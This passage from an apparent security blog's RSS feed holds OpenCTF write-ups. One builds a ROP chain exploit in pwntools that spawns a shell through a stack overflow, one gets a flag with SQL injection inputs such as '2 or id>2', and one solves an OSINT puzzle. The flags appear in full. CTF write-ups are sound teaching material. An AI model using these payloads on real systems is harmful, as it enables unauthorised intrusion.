&lt;p&gt;&lt;strong&gt;Points:&lt;/strong&gt; 100&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;If this is your first time, it will be your first time. Available at 172.31.2.62:47802 - https://scoreboard.openctf.com/babys_first_rop-e0f4088e3b5a86cf3d388fac3bc070493c6f71c5
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;File Download:&lt;/strong&gt; &lt;a href=&quot;https://aagallag.com/files/ctf_files/openctf/babys-first-rop/babys_first_rop-e0f4088e3b5a86cf3d388fac3bc070493c6f71c5&quot;&gt;babys_first_rop-e0f4088e3b5a86cf3d388fac3bc070493c6f71c5&lt;/a&gt;&lt;/p&gt;

&lt;h1 id=&quot;investigation&quot;&gt;Investigation&lt;/h1&gt;
&lt;p&gt;My initial investigation usually starts the same with pwn challenges.  I like to start with running the &lt;code class=&quot;highlighter-rouge&quot;&gt;file&lt;/code&gt; command so that I get a high-level idea of what I’m working with.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ file babys_first_rop-719f2fbc00e318076347df5eb215a20741fb29ca
babys_first_rop-719f2fbc00e318076347df5eb215a20741fb29ca: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a92f66db1ba36b3e54041f5de948f19d9043aed1, not stripped
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ok, so it’s an x86-64 binary, not stripped, and dynamically linked.  I next like to run checksec (included with &lt;code class=&quot;highlighter-rouge&quot;&gt;pwntools&lt;/code&gt;), as this will be useful information to keep in mind when looking for vulnerabilities and later building the exploit.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ checksec babys_first_rop-719f2fbc00e318076347df5eb215a20741fb29ca
[*] 'babys_first_rop-719f2fbc00e318076347df5eb215a20741fb29ca'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;No canaries, so if we find a stack overflow vulnerability, we won’t need to circumvent any canaries.&lt;/li&gt;
  &lt;li&gt;NX is enabled, so as the name and description for the challenge implies, we won’t be able to put shellcode on the stack, we will have to build a ROP chain.&lt;/li&gt;
  &lt;li&gt;No PIE, so our gadgets should be accessible from hardcoded memory addresses.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I knew I would need gadgets for this challenge (for the ROP chain), so I decided to run &lt;a href=&quot;https://github.com/JonathanSalwan/ROPgadget&quot;&gt;ROPgadget&lt;/a&gt; on the binary.  Unfortunately, I didn’t find that many gadgets, which is common for dynamically linked binaries.  So I figured I would move onto reversing.&lt;/p&gt;

&lt;h1 id=&quot;reversing&quot;&gt;Reversing&lt;/h1&gt;

&lt;h2 id=&quot;cracking&quot;&gt;Cracking&lt;/h2&gt;
&lt;p&gt;I opened up the binary in IDA Pro, I immediately noticed a common call that gets in the way of debugging.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/mlDXpn0.png&quot; class=&quot;img-responsive&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This alarm call causes the program to crash after 30 seconds.  This isn’t a lot of time for debugging, so I’m going to go ahead and remove this from the binary.  While I certainly could manually hex-edit the bytes and replace with the correct number of &lt;code class=&quot;highlighter-rouge&quot;&gt;NOP&lt;/code&gt; instructions, using the IDA Pro plugin, &lt;a href=&quot;https://github.com/isislab/Fentanyl&quot;&gt;Fentanyl&lt;/a&gt; makes this way quicker and easier.&lt;/p&gt;

&lt;h2 id=&quot;gadget-hunting&quot;&gt;Gadget Hunting&lt;/h2&gt;

&lt;p&gt;Admittedly, I didn’t do a ton of reversing on this one.  I knew I still needed to find gadgets for this challenge, so I started looking for how I might find these.  It didn’t take long for me to notice this loop in the assembly.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/xUVcAYp.png&quot; class=&quot;img-responsive&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I didn’t fully reverse this, but with assistence from the symbols, I suspected the gadgets are getting generated at run-time.  And based on the &lt;code class=&quot;highlighter-rouge&quot;&gt;mprotect&lt;/code&gt; call, I suspect that the location where these gadgets are getting stored is marked as executable.  Instead of reversing these gadgets, I decided to attach a debugger after the gadgets are generated and dumping the memory.  However, I wasn’t exactly sure how I would dump the memory to a file.  After some quick Google-fu, I found this helpful Github gist by herrcore &lt;a href=&quot;https://gist.github.com/herrcore/d023f3ab01b2091af3667d8d3f66e6db&quot;&gt;ida_memdump.py&lt;/a&gt;.  I simply copy&amp;amp;pasted the script into the IDA-Python immediate window.  Then I set a breakpoing right before the instruction for &lt;code class=&quot;highlighter-rouge&quot;&gt;call vuln&lt;/code&gt; (0x0400717).  Once the breakpoint is reached, I dumped gadgets by simply entering the following command into the immediate window: &lt;code class=&quot;highlighter-rouge&quot;&gt;memdump(0x601080, 0x30000, 'gadgets.raw')&lt;/code&gt;.  To explain where these values are comming from, 0x601080 is the location of where the gadgets are stored in the .bss section.  For the length, I used 0x30000 as this is the length provided above to the call to &lt;code class=&quot;highlighter-rouge&quot;&gt;mprotect&lt;/code&gt;.  And the last parameter is simply an arbitrary filename.&lt;/p&gt;

&lt;p&gt;Now to convert this raw dump into a readable, searchable format, I used &lt;code class=&quot;highlighter-rouge&quot;&gt;objdump&lt;/code&gt;.  The full command is below:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;objdump -D -b binary -m i386 gadgets.raw &amp;gt; gadgets_objdump.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; I initially tried to use x86-64 for the option for ‘-m’, but that was throwing an error.  Since x86-64 is backwards compatible with x86 (i386), I figured this shouldn’t be a problem.  An example of this output can be seen below:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
gadgets.raw:     file format binary


Disassembly of section .data:

00000000 &amp;lt;.data&amp;gt;:
       0:   00 00                   add    %al,(%eax)
       2:   c3                      ret    
       3:   00 01                   add    %al,(%ecx)
       5:   c3                      ret    
       6:   00 02                   add    %al,(%edx)
       8:   c3                      ret    
       9:   00 03                   add    %al,(%ebx)
       b:   c3                      ret    
       c:   00 04 c3                add    %al,(%ebx,%eax,8)
       f:   00 05 c3 00 06 c3       add    %al,0xc30600c3
      15:   00 07                   add    %al,(%edi)
........ lots of gadgets ........
   2fffe:   ff c3                   inc    %ebx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;vulnerability-identification&quot;&gt;Vulnerability Identification&lt;/h1&gt;

&lt;p&gt;Now before I build my ropchain, I want to make sure I have a vulnerability to trigger the ropchain.  Again, using the symbols as a clue, I go straight to the &lt;code class=&quot;highlighter-rouge&quot;&gt;vuln&lt;/code&gt; function.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/Vk0flKA.png&quot; class=&quot;img-responsive&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Here, we have a pretty obvious stack overflow.  Read is called, with a length of &lt;code class=&quot;highlighter-rouge&quot;&gt;0x100&lt;/code&gt; and stored in a hard-coded location in &lt;code class=&quot;highlighter-rouge&quot;&gt;.bss&lt;/code&gt;.  Then, memcpy is called to copy upto &lt;code class=&quot;highlighter-rouge&quot;&gt;0x100&lt;/code&gt; bytes onto the stack, however, only &lt;code class=&quot;highlighter-rouge&quot;&gt;0x50&lt;/code&gt; bytes are allocated on the stack for the destination of this memcpy.  So now we have our vulnerability!&lt;/p&gt;

&lt;h1 id=&quot;solution-exploit-development&quot;&gt;Solution (Exploit Development)&lt;/h1&gt;
&lt;p&gt;If you are not familiar with the &lt;a href=&quot;https://github.com/Gallopsled/pwntools&quot;&gt;pwntools&lt;/a&gt; library for Python, I highly recommend getting familiar with it.  It is incredibly helpful for building exploits for CTFs, and can also come in handy for non-pwn challenges, such as PPC or shellcoding challenges.&lt;/p&gt;

&lt;p&gt;So first I start with building my payload.  We will need 0x58(88) bytes of padding, followed by our ROP chain.&lt;/p&gt;
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;''&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'A'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;88&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ok, let’s think about what we want our ROP chain to do.  The goal for most pwn challenges, is to pop a shell.  The easiest way is to somehow execute &lt;code class=&quot;highlighter-rouge&quot;&gt;execve&lt;/code&gt;.  Let’s take a look at the &lt;a href=&quot;http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/&quot;&gt;Linux x64 Syscall chart&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;%rax    System call     %rdi                    %rsi                        %rdx
59      sys_execve      const char *filename    const char *const argv[]    const char *const envp[]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So to get a shell, we want something like the following psuedo-code:&lt;/p&gt;
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;rax&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;59&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;rdi&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'/bin/sh&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;rsi&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00\x00\x00\x00\x00\x00\x00\x00&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;rdx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00\x00\x00\x00\x00\x00\x00\x00&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So if we can setup the registers to match above, and then execute the &lt;code class=&quot;highlighter-rouge&quot;&gt;syscall&lt;/code&gt; instruction, we should get a shell to play with!&lt;/p&gt;

&lt;p&gt;We have lots of gadgets to play with, but the easiest gadgets for writing arbitrary data to registers is the pop instruction.  This allows us to simply place the desired values directly on the stack.  However, I now begin to ask myself, how am I going to get a hardcoded address pointing to &lt;code class=&quot;highlighter-rouge&quot;&gt;/bin/sh\x00&lt;/code&gt;?  Well, that’s when I noticed when debugging the vuln function, that the rdi register was already pointing to the beginning of my payload padding.  So let’s just put ‘/bin/sh\x00’ at the beginning before the padding.  And while I’m at it, I also go ahead and add a 64-bit 0x00 value after the &lt;code class=&quot;highlighter-rouge&quot;&gt;/bin/sh\x00&lt;/code&gt; string.  Additionally, I also realized that the payload is also stored in a hard-coded location in the .bss section, not just on the stack.  So below is what my payload looks like now:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;''&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'/bin/sh&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'A'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;88&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And memory locations:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;mh&quot;&gt;0x631080&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'/bin/sh&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;
&lt;span class=&quot;mh&quot;&gt;0x631088&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00\x00\x00\x00\x00\x00\x00\x00&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And as I mentioned above, &lt;code class=&quot;highlighter-rouge&quot;&gt;rdi&lt;/code&gt; is already pointing to the beginning of my payload, which is now &lt;code class=&quot;highlighter-rouge&quot;&gt;/bin/sh\x00&lt;/code&gt;.  So we need a gadget for setting the following registers, &lt;code class=&quot;highlighter-rouge&quot;&gt;rax&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;rsi&lt;/code&gt;, and &lt;code class=&quot;highlighter-rouge&quot;&gt;rdx&lt;/code&gt;, and of course, the syscall gadget.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;highlighter-rouge&quot;&gt;pop&lt;/code&gt; instruction will be the easiest for us, so I simply grepped the text dump for pop.  Since we decoded the instructions as x86, we’ll be looking for the x86 registers.  There are duplicates, but these were the ones I happend to grab:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GADGETS_BASE    = 0x601080
GADGET_POP_EAX  = GADGETS_BASE + 0x7609#:    58                      pop    %eax
GADGET_POP_ESI  = GADGETS_BASE + 0x761b#:    5e                      pop    %esi
GADGET_POP_EDX  = GADGETS_BASE + 0x760f#:    5a                      pop    %edx
GADGET_SYSCALL  = GADGETS_BASE + 0x2d0f#:    0f 05                   syscall
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Finally, we are ready to put everything together for the complete ROP chain:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;''&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'/bin/sh&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'A'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;88&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GADGET_POP_EAX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;59&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GADGET_POP_ESI&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x631088&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GADGET_POP_EDX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x631088&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GADGET_SYSCALL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sendline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Full Script Download:&lt;/strong&gt; &lt;a href=&quot;https://gist.github.com/aagallag/3a707b1157dac64e3eff376de9f87b52&quot;&gt;babys_first_rop_pwner.py&lt;/a&gt;&lt;/p&gt;

&lt;h1 id=&quot;flag&quot;&gt;Flag&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;OpenCTF{Itz_0nly_45_c0Mpl1c4t3d_as_you_want_itTOBE}&lt;/strong&gt;&lt;/p&gt;
</description>
				<pubDate>Sun, 12 Aug 2018 10:22:00 +0000</pubDate>
				<link>http://b0tchsec.com/2018/openctf/babysfirstrop</link>
				<guid isPermaLink="true">http://b0tchsec.com/2018/openctf/babysfirstrop</guid>
			</item>
		
			<item>
				<title>OpenCTF : SQL 10</title>
				<description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Web&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Points:&lt;/strong&gt; 10&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://sql-mayham.openctf.com/ziopxuoiwquyerhnszpasdyvzlkxcjlwerqwer/sql-10/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When &lt;code class=&quot;highlighter-rouge&quot;&gt;1&lt;/code&gt; is entered it returns the following row:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Enter a badge number to view that officers file:1
(1, 'bob', 'simmons', 'none')
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Performing a basic sql injection we got the same row back but no error. The server only returns 1 row&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Enter a badge number to view that officers file:1 or 1=1
(1, 'bob', 'simmons', 'none')
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Entering an ID of 2 no results are found.&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Enter a badge number to view that officers file:2 
None
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Using the sql injection an OR was added to say “id&amp;gt;2”&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Enter a badge number to view that officers file:2 or id&amp;gt;2
(152135123451, 'flag', 'flag', 'Th@tW@53@5yHuh')
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This returns the flag in the one other row in the database&lt;/p&gt;

&lt;h1 id=&quot;flag&quot;&gt;Flag&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Th@tW@53@5yHuh&lt;/strong&gt;&lt;/p&gt;
</description>
				<pubDate>Sun, 12 Aug 2018 09:37:59 +0000</pubDate>
				<link>http://b0tchsec.com/2018/openctf/sql10</link>
				<guid isPermaLink="true">http://b0tchsec.com/2018/openctf/sql10</guid>
			</item>
		
			<item>
				<title>OpenCTF : Ellingson Mineral 2</title>
				<description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; OSINT&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Points:&lt;/strong&gt; 100&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;We heard word that The Plague escaped prison three weeks ago. We've been notified that he was recently seen on soundcloud liking a song by ytcracker called &quot;hacker music.&quot; Let us know what you find.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;First perform a search on soundcloud.com for “ytcracker hacker music” then go to likes. 
&lt;code class=&quot;highlighter-rouge&quot;&gt;https://soundcloud.com/ytcracker/ytcracker-hacker-music/likes&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Go to ThePlague2018x’s profile&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;https://soundcloud.com/user-843651506&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The next clue seemed to be to go to the website on ThePlague2018x’s website which is the following&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://exit.sc/?url=https%3A%2F%2FNjY2YzYxNjc3Yjc0Njg0NTUyNjU1ZjY5NzM1ZjRlMzA1ZjcyMzE0NzY4NzQ1ZjYxNGU0NDVmNTc1MjMwNmU0NzVmNzQ2ODMzNTI2NTVmMzE3MzVmNGY0ZTZjNzk1ZjQ2NzU0ZTVmNDE2ZTY0NWY0MjMwNzI2OTRlNDc3ZAo.com%2Fhome
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Extract the string after the hex values “%3A%2F%2F” to “.com” the value between this is the following&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;666c61677b74684552655f69735f4e305f72314768745f614e445f5752306e475f74683352655f31735f4f4e6c795f46754e5f416e645f423072694e477d
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Looking at the string it seems to be hex so encode to hex to get the flag.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; '666c61677b74684552655f69735f4e305f72314768745f614e445f5752306e475f74683352655f31735f4f4e6c795f46754e5f416e645f423072694e477d'.decode('hex')
'flag{thERe_is_N0_r1Ght_aND_WR0nG_th3Re_1s_ONly_FuN_And_B0riNG}'
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;flag&quot;&gt;Flag&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;flag{thERe_is_N0_r1Ght_aND_WR0nG_th3Re_1s_ONly_FuN_And_B0riNG}&lt;/strong&gt;&lt;/p&gt;
</description>
				<pubDate>Sun, 12 Aug 2018 09:37:59 +0000</pubDate>
				<link>http://b0tchsec.com/2018/openctf/ellingsonmineral2</link>
				<guid isPermaLink="true">http://b0tchsec.com/2018/openctf/ellingsonmineral2</guid>
			</item>
		
			<item>
				<title>BSidesPDX CTF : MakeIcon</title>
